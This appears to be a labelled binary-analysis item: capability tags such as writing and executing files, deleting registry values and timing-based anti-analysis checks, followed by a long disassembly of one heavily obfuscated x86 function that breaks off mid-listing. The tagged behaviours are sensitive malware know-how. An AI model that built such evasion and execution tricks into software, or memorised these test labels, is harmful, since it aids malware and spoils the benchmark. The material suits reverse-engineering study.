Function at 0x100303bb
Capabilities:
Accept command line arguments
Allocate thread local storage
Check for time delay via gettickcount
Clear file content
Create pipe
Create process on windows
Delete registry value
Get memory capacity
Parse pe header
Query environment variable
Terminate process
Write and execute a file

Disassembly:
mov eax, 0x1007c4df
call fcn.1007ae70
mov eax, 0x138c
call fcn.10077620
push ebx
push esi
push edi
push 8
pop eax
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xb0], ecx
lea ecx, [ebp - 0x8d8]
mov dword [ebp - 0x48], 0x470ed99e
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], 0x22a1
push 4
mov byte [ebp - 0x75], dl
call fcn.100172b6
xor eax, eax
mov ecx, 0x95b676b
mov dword [ebp - 4], eax
xor ebx, ebx
mov dword [ebp - 0x40], 0xbfedaacd
inc ebx
mov dword [ebp - 0x40], 0x51938d10
mov dword [ebp - 0x40], eax
mov dword [ebp - 0xab8], ecx
mov dword [ebp - 0xab4], ecx
mov dword [ebp - 0xab0], ecx
mov dword [ebp - 0xaac], ecx
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], ebx
jge 0x1003045a
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0xe0], 0x815c
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], ebx
jl 0x10030442
xor eax, eax
mov dword [ebp - 0x50], eax
jmp 0x10030476
push dword [ebp - 0x50]
lea ecx, [ebp - 0x8d8]
call fcn.10017323
mov dword [eax], 0x8b874bdb
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 4
jl 0x1003045f
mov eax, dword [ebp - 0xe0]
xor edx, edx
mov eax, dword [ebp - 0xe0]
imul eax, dword [ebp - 0x20]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x48]
cmp eax, ecx
setl dl
xor eax, eax
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], eax
jne 0x100304ae
cmp dword [ebp - 0x48], eax
je 0x100304b0
mov eax, ebx
add eax, 0xfffffffb
je 0x100304b8
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x8d8]
sub eax, 0xca9d
neg eax
push 3
sbb eax, eax
inc eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x1c]
pop edi
push edi
call fcn.10017323
xor ecx, ecx
mov dword [eax], esi
mov eax, dword [ebp - 0x1c]
cmp esi, eax
setl cl
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
cmp eax, 0xffffffff
setge cl
cmp ecx, 0xfffffff9
lea ecx, [ebp - 0x8d8]
sbb eax, eax
inc eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0xab0], eax
or dword [ebp - 4], 0xffffffff
call fcn.1001731e
push 8
pop eax
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x86c]
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x48], 0x470ed99e
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], esi
push 4
call fcn.100172b6
mov dword [ebp - 4], ebx
xor eax, eax
mov dword [ebp - 0x40], 0xbfedaacd
mov ecx, 0x95b676b
mov dword [ebp - 0x40], 0x51938d10
mov dword [ebp - 0x40], eax
mov dword [ebp - 0xb38], ecx
mov dword [ebp - 0xb34], ecx
mov dword [ebp - 0xb30], ecx
mov dword [ebp - 0xb2c], ecx
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], ebx
jge 0x100305ad
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0xec], 0x815c
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], ebx
jl 0x10030595
xor eax, eax
mov dword [ebp - 0x50], eax
jmp 0x100305c9
push dword [ebp - 0x50]
lea ecx, [ebp - 0x86c]
call fcn.10017323
mov dword [eax], 0x8b874bdb
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 4
jl 0x100305b2
mov eax, dword [ebp - 0xec]
xor edx, edx
mov eax, dword [ebp - 0xec]
imul eax, dword [ebp - 0x20]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0xec]
mov eax, dword [ebp - 0x48]
cmp eax, ecx
setl dl
xor eax, eax
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], eax
jne 0x10030601
cmp dword [ebp - 0x48], eax
je 0x10030603
mov eax, ebx
add eax, 0xfffffffb
je 0x1003060b
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x86c]
sub eax, 0xca9d
neg eax
push edi
sbb eax, eax
inc eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x1c]
call fcn.10017323
xor ecx, ecx
mov dword [eax], esi
mov eax, dword [ebp - 0x1c]
cmp esi, eax
setl cl
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
or esi, 0xffffffff
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
cmp eax, esi
setge cl
cmp ecx, 0xfffffff9
lea ecx, [ebp - 0x86c]
sbb eax, eax
inc eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0xb30], eax
mov dword [ebp - 4], esi
call fcn.1001731e
mov dword [ebp - 0x3c], 0xf3c34eea
mov dword [ebp - 0x38], 0xdee21afa
mov dword [ebp - 0x50], 0xaa5d732a
push 8
pop eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x3c]
cmp ebx, eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x3c]
je 0x100306bf
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x100306c1
mov eax, ebx
jmp 0x100306c1
xor eax, eax
mov ecx, 0xf1a969ac
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x3c]
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
cmp dword [ebp - 0x38], ecx
jl 0x100306f4
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x3c], eax
je 0x100306f6
mov ecx, ebx
xor eax, eax
cmp ecx, 0x4237
setne al
cmp dword [ebp - 0x3c], eax
jg 0x10030709
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x38], 0xfffffff4
cmp dword [ebp - 0x38], 4
jge 0x100308a9
xor eax, eax
mov dword [ebp - 0x10], 0xabdc9a81
mov dword [ebp - 0x50], eax
jmp 0x1003081d
mov dword [ebp - 0x14], 0xb398ef54
mov dword [ebp - 0x20], 0x8d0d
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xfffffff8
jle 0x1003081a
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x1c], eax
jmp 0x10030771
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x10ac], 0xb817bb5c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10030760
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x40]
neg edx
push 0
sbb edx, edx
xor ecx, ecx
neg edx
sub edx, eax
mov eax, dword [ebp - 0x14]
cmp edx, eax
mov eax, dword [ebp - 0x14]
setge cl
xor edx, edx
cmp eax, ecx
setge dl
xor ecx, ecx
imul edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x3c]
cmp edx, 0xde63
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x14], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x14]
cmp eax, 0xb34e
mov eax, dword [ebp - 0x38]
setge cl
cmp ebx, eax
sbb eax, eax
inc eax
add ecx, eax
mov eax, dword [ebp - 0x40]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setg cl
xor edx, edx
cmp ecx, 0xa3e0
setg dl
xor ecx, ecx
cmp edx, eax
pop eax
setge cl
mov dword [ebp - 0x10ac], ecx
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffff8
jg 0x10030758
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0xc
jle 0x1003073d
mov dword [ebp - 0x10], eax
jmp 0x10030896
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10030848
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x5f8], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10030834
xor eax, eax
mov dword [ebp - 0x50], eax
jmp 0x10030876
mov dword [ebp - 0x2c], eax
jmp 0x1003086e
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], eax
jl 0x1003086b
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x5f8], ebx
dec dword [ebp - 0x3c]
jns 0x1003085a
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], eax
jle 0x10030852
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], eax
jle 0x1003084d
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10030893
push 0x17d4
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xffffffeb
jge 0x1003082c
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 4
jl 0x1003072e
mov dword [ebp - 0x3c], 0xda115252
xor eax, eax
mov dword [ebp - 0x48], 4
mov dword [ebp - 0x40], 0xdf8e3bf1
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x100308d9
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x80], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x100308c8
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], eax
jg 0x10030940
mov eax, dword [ebp - 0x3c]
cmp dword [ebp + eax*4 - 0x80], 0
jne 0x1003092b
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x80]
cmp eax, 0x1139da47
mov eax, dword [ebp - 0x3c]
setge cl
xor edx, edx
add ecx, dword [ebp + eax*4 - 0x80]
mov eax, dword [ebp - 0x80]
cmp ecx, ebx
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x80]
mov eax, dword [ebp - 0x3c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x40], eax
xor eax, eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], eax
jle 0x100308e1
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x15
jg 0x100309e9
mov dword [ebp - 0x1c], ebx
xor ecx, ecx
mov dword [ebp - 0x14], 0x84edb553
mov edx, esi
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
cmp eax, 0xfffffffe
mov eax, dword [ebp - 0x1c]
setl cl
sub edx, ecx
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x48]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x80]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x80]
setle dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x80]
setne bl
xor ecx, ecx
cmp ebx, eax
sete cl
xor eax, eax
mov dword [ebp - 0x1c], ecx
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x100309d7
push eax
push eax
push 0x2706
push 0x59e
push eax
call dword [sym.imp.USER32.dll_InsertMenuA]
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0x15
push 1
pop ebx
jle 0x1003094d
xor eax, eax
push 8
pop esi
mov dword [ebp - 0x34], esi
lea ecx, [ebp - 0x674]
mov dword [ebp - 0x4c], eax
push 4
call fcn.100172b6
push 2
pop esi
mov dword [ebp - 4], esi
xor eax, eax
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x10030a32
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x674]
call fcn.10017323
mov dword [eax], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10030a17
xor eax, eax
mov ebx, dword [sym.imp.USER32.dll_GetDC]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
jg 0x10030b4a
mov dword [ebp - 0x40], 0xffffffff
lea ecx, [ebp - 0x674]
push dword [ebp - 0x10]
call fcn.10017323
cmp dword [eax], 0
je 0x10030abb
mov dword [ebp - 0x28], 0x7a888ada
xor eax, eax
mov dword [ebp - 0x28], 3
cmp dword [ebp - 0x28], eax
jl 0x10030b3d
mov dword [ebp - 0x14], 5
mov dword [ebp - 0x14], 3
cmp dword [ebp - 0x14], eax
jl 0x10030ab1
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10030aac
push 0x12df
call edi
push eax
call ebx
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
xor eax, eax
dec dword [ebp - 0x14]
jns 0x10030a90
dec dword [ebp - 0x28]
jns 0x10030a7d
jmp 0x10030b3d
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10030add
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3dc], 1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10030ac5
xor eax, eax
mov dword [ebp - 0x3dc], 3
cmp dword [ebp - 0x3dc], eax
jl 0x10030b22
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10030b1a
push 0x11d5
push 0xc56
push 0x10eb
push 0x234b
call edi
push eax
call ebx
push eax
call dword [sym.imp.GDI32.dll_IntersectClipRect]
xor eax, eax
dec dword [ebp - 0x3dc]
jns 0x10030aef
push dword [ebp - 0x10]
lea ecx, [ebp - 0x674]
call fcn.10017323
mov ecx, dword [ebp - 0x10]
xor edx, edx
cmp dword [eax], ecx
setl dl
mov dword [ebp - 0x40], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jle 0x10030a4a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x674]
call fcn.1001731e
mov dword [ebp - 0x48], 0x470ed99e
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], 0x25b9b55b
push 8
mov dword [ebp - 0x24], 0x9351f200
mov dword [ebp - 0x1c], eax
pop esi
jmp 0x10030b9a
mov dword [ebp - 0x40], 0xbe18
dec dword [ebp - 0x40]
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10030b97
push eax
call dword [sym.imp.KERNEL32.dll_GetFileType]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10030b7b
mov dword [ebp - 0x28], 0x22a1
lea ecx, [ebp - 0xa04]
mov dword [ebp - 0x20], 0x5ccc90a3
xor esi, esi
mov dword [ebp - 0x24], 6
inc esi
mov dword [ebp - 0x40], 3
mov dword [ebp - 0x48], 0xad67a4be
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x24], eax
push 4
call fcn.100172b6
mov dword [ebp - 4], 3
xor eax, eax
mov dword [ebp - 0x58], 0xc12a7b09
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 4
jge 0x10030c10
push dword [ebp - 0x38]
lea ecx, [ebp - 0xa04]
call fcn.10017323
mov dword [eax], 0xfffffffc
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 4
jl 0x10030bf1
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 3
jge 0x10030c32
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x77c], 0xacff
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 3
jl 0x10030c19
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x10030c3c
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x58], eax
jne 0x10030c48
mov edx, eax
cmp dword [ebp - 0x48], eax
je 0x10030c4a
mov edx, esi
mov eax, dword [ebp - 0x40]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x778]
setge cl
dec dword [ebp - 0x778]
cmp eax, ecx
jg 0x10030c6a
mov eax, dword [ebp - 0x778]
push 3
lea ecx, [ebp - 0xa04]
call fcn.10017323
mov ecx, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
or dword [ebp - 4], 0xffffffff
inc ecx
neg ecx
mov dword [eax], ecx
lea ecx, [ebp - 0xa04]
call fcn.1001731e
push 4
lea ecx, [ebp - 0x884]
call fcn.100172b6
mov dword [ebp - 4], 4
xor eax, eax
mov dword [ebp - 0x14], 0x2fe22364
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x10030cd1
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x137c], 0xb55b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10030cb8
xor eax, eax
push 2
pop esi
mov dword [ebp - 0x14], esi
cmp dword [ebp - 0x14], eax
jl 0x10030d3c
mov dword [ebp - 0x1c], esi
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10030d14
push 0xb79
push 0x25bc
push 0x174e
push 0xc5b
push 0x1501
push 0x1e25
call edi
push eax
call ebx
push eax
call dword [sym.imp.GDI32.dll_RoundRect]
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10030d32
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10030d2f
push 0xc17
call dword [sym.imp.GDI32.dll_GetStockObject]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jle 0x10030d19
dec dword [ebp - 0x14]
jns 0x10030cdc
mov dword [ebp - 0x40], 0xbfedaacd
mov ecx, 0x95b676b
mov dword [ebp - 0x40], 0x51938d10
xor ebx, ebx
mov dword [ebp - 0x40], eax
inc ebx
mov dword [ebp - 0xad8], ecx
mov dword [ebp - 0xad4], ecx
mov dword [ebp - 0xad0], ecx
mov dword [ebp - 0xacc], ecx
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], ebx
jge 0x10030d8d
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0xd8], 0x815c
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jl 0x10030d75
xor eax, eax
mov dword [ebp - 0x38], eax
jmp 0x10030da9
push dword [ebp - 0x38]
lea ecx, [ebp - 0x884]
call fcn.10017323
mov dword [eax], 0x8b874bdb
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 4
jl 0x10030d92
mov eax, dword [ebp - 0xd8]
xor edx, edx
mov eax, dword [ebp - 0xd8]
imul eax, dword [ebp - 0x4c]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0xd8]
mov eax, dword [ebp - 0x48]
cmp eax, ecx
setl dl
xor eax, eax
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], eax
jne 0x10030de1
cmp dword [ebp - 0x48], eax
je 0x10030de3
mov eax, ebx
add eax, 0xfffffffb
je 0x10030deb
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x884]
sub eax, 0xca9d
neg eax
push 3
sbb eax, eax
inc eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0x28]
mov esi, dword [ebp - 0x28]
call fcn.10017323
xor ecx, ecx
mov dword [eax], esi
mov eax, dword [ebp - 0x28]
cmp esi, eax
setl cl
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x4c]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
or esi, 0xffffffff
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
cmp eax, esi
setge cl
cmp ecx, 0xfffffff9
lea ecx, [ebp - 0x884]
sbb eax, eax
inc eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0xad0], eax
mov dword [ebp - 4], esi
call fcn.1001731e
mov dword [ebp - 0x3c], 0xf3c34eea
mov dword [ebp - 0x2c], 0xdee21afa
mov dword [ebp - 0x50], 0xaa5d732a
push 8
pop eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x3c]
cmp ebx, eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x3c]
je 0x10030ea0
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x10030ea2
mov eax, ebx
jmp 0x10030ea2
xor eax, eax
mov ecx, 0xf1a969ac
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x3c]
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
cmp dword [ebp - 0x2c], ecx
jl 0x10030ed5
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x3c], eax
je 0x10030ed7
mov ecx, ebx
xor eax, eax
cmp ecx, 0x4237
setne al
cmp dword [ebp - 0x3c], eax
jg 0x10030eea
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x2c], 0xfffffff4
cmp dword [ebp - 0x2c], 4
jge 0x1003108b
xor eax, eax
mov dword [ebp - 0x10], 0xabdc9a81
mov dword [ebp - 0x50], eax
jmp 0x10030fff
mov dword [ebp - 0x14], 0xb398ef54
mov dword [ebp - 0x20], 0x8d0d
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xfffffff8
jle 0x10030ffc
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x1c], eax
jmp 0x10030f52
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x110c], 0xb817bb5c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10030f41
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x40]
neg edx
push 0
sbb edx, edx
xor ecx, ecx
neg edx
sub edx, eax
mov eax, dword [ebp - 0x14]
cmp edx, eax
mov eax, dword [ebp - 0x14]
setge cl
xor edx, edx
cmp eax, ecx
setge dl
xor ecx, ecx
imul edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x3c]
cmp edx, 0xde63
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x14], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x14]
cmp eax, 0xb34e
mov eax, dword [ebp - 0x2c]
setge cl
cmp ebx, eax
sbb eax, eax
inc eax
add ecx, eax
mov eax, dword [ebp - 0x40]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setg cl
xor edx, edx
cmp ecx, 0xa3e0
setg dl
xor ecx, ecx
cmp edx, eax
pop eax
setge cl
mov dword [ebp - 0x110c], ecx
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xfffffff8
jg 0x10030f39
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0xc
jle 0x10030f1e
mov dword [ebp - 0x10], eax
jmp 0x10031078
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1003102a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x540], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10031016
xor eax, eax
mov dword [ebp - 0x50], eax
jmp 0x10031058
mov dword [ebp - 0x38], eax
jmp 0x10031050
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], eax
jl 0x1003104d
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x540], ebx
dec dword [ebp - 0x3c]
jns 0x1003103c
xor eax, eax
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], eax
jle 0x10031034
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], eax
jle 0x1003102f
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10031075
push 0x17d4
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xffffffeb
jge 0x1003100e
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 4
jl 0x10030f0f
mov dword [ebp - 0x54], esi
xor eax, eax
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x34], ebx
push 0xfffffffffffffffd
pop ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x40], 0xcc73
mov dword [ebp - 0x24], 0xdf115cd6
mov dword [ebp - 0x24], 0xa113d7af
mov dword [ebp - 0x24], 0xfffffffa
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x24], 0x2a6a8e49
mov dword [ebp - 0x24], eax
push 2
mov dword [ebp - 0x1c], eax
pop esi
cmp dword [ebp - 0x1c], esi
jge 0x100310ee
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1144], 0xfffffffb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x100310d6
xor eax, eax
cmp dword [ebp - 0x54], eax
je 0x10031140
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x54]
sub ecx, eax
mov eax, dword [ebp - 0x10]
sub edx, ecx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
xor edx, edx
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
add eax, 0xffff9b88
add ecx, eax
mov eax, dword [ebp - 0x28]
cmp ecx, eax
setl dl
xor eax, eax
cmp edx, 0x6d238e48
setle al
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
xor eax, eax
mov dword [ebp - 0x48], 0x3e8d
cmp dword [ebp - 0x10], eax
jne 0x10031275
push 0xfffffffffffffffc
pop eax
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0xd78]
mov dword [ebp - 0x20], eax
push esi
call fcn.100172b6
mov dword [ebp - 4], 5
xor eax, eax
mov dword [ebp - 0x1c], 0xbda2dd44
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 4
jge 0x100311a2
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0xeb0], 0xfffffffc
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 4
jl 0x10031189
xor eax, eax
mov dword [ebp - 0x38], eax
jmp 0x100311ba
push dword [ebp - 0x38]
lea ecx, [ebp - 0xd78]
call fcn.10017323
mov dword [eax], ebx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], esi
jl 0x100311a7
mov ecx, dword [ebp - 0x10]
xor edx, edx
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 0x40]
setle dl
xor ecx, ecx
cmp edx, eax
setg cl
